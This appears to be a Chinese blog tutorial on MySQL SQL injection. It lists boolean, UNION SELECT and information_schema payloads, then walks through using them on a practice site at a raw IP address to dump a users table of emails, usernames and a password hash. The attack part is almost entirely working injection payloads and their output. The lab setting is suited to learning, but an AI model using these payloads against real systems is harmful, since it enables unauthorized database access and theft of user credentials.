非宁静无以致远
1.提交单引号
2.and大法和or大法
3.加法和减法,加号 %2b
and ord(mid(user(),1,1))=114
//或者
and (select count(*) from mysql.user)>0
用union联合查询
and 1=1 union select 1,2,3,4,5……
union select null,null,null.....
用order by 查询
order by 1,2,3,4
判断数据库版本
and ord(mid(version(),1,1))>51
直接使用mysql自带函数database()查询得到数据库名
union select 1,database(),3 limit 1,1
得到所有的数据库名
union select null,schema_name,null from information_schema.schemata
获取第一个库名
and 1=2 union select null,schema_name,null from information_schema.schemata limit 0,1
在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表
group_concat
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
或者
union select null,table_name,null from information_schema.tables where table_schema='test'
在MySQL中,字段名存放在information_schema数据库下columns表column_name字段中,这里使用的是columns表。
and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='test' and table_name='sqltest'
或者
union select null,column_name,null from information_schema.columns where table_schema='test' and table_name='admin'
and 1=2 union select 1,group_concat(id,user,pwd),3 from admin
或者
union select null,title,content from sqltest
或者
and 1=2 union select 1,2,concat(user,0x3c,pwd) from admin
打开网站http://43.247.91.228/content-1/index.php?id=0
,我们在这里做注入练习
1.首先加单引号报错,可知存在明显的注入漏洞
2.输入and ord(mid(user(),1,1))=114
不报错,可知数据库的权限是root权限,并且具有可读可写的权限
3.输入 and 1=1 union select 1,2,3,4,5,6,7,8
不报错,可以发现这个表的字段有8个
4.使用and 1=2 union select null,schema_name,null ,null,null,null,null,null from information_schema.schemata limit 1,1;--
用;--
注释了后面的语句,可以获取所有的数据库名,可以知道当前执行查询用户名为root@localhost(user()函数), 当前使用的数据库是inject,下面列出所有数据库
5.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--
获取所有的表名,下面列出所有的表
6.使用union select 1,group_concat(table_name),3,4,5,6,7,8 from information_schema.tables where table_schema='inject' limit 1,1;--
获取所有的字段,下面列出所有的字段
7.接下来就到最后最重要的一步了,获取所有数据,and 1=2 union select 1,group_concat(idusers,name,email,password,ua,ref,host,lang),3,4,5,6,7,8 from users;--
获取到的数据如下:
0adminadmin@getmantra.comadminBrick_Browserhttp://127.0.0.1/release-channel/content-13/index.php127.0.0.1en,1tomtom@getmantra.comtomBlock_Browser8.8.8.8en,2ronron@getmantra.comronRain_Browser192.168.1.1en,3harryharry@getmantra.com5f4dcc3b5aa765d61d8327deb882cf99Mantra127.0.0.1en
可以看出来这些应该就是数据表中所有的数据了,但是怎么格式化我并不会,希望看到这篇文章的大佬们能帮我解决一下,请给我发邮件:dandingkeji.top@gmail.com
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有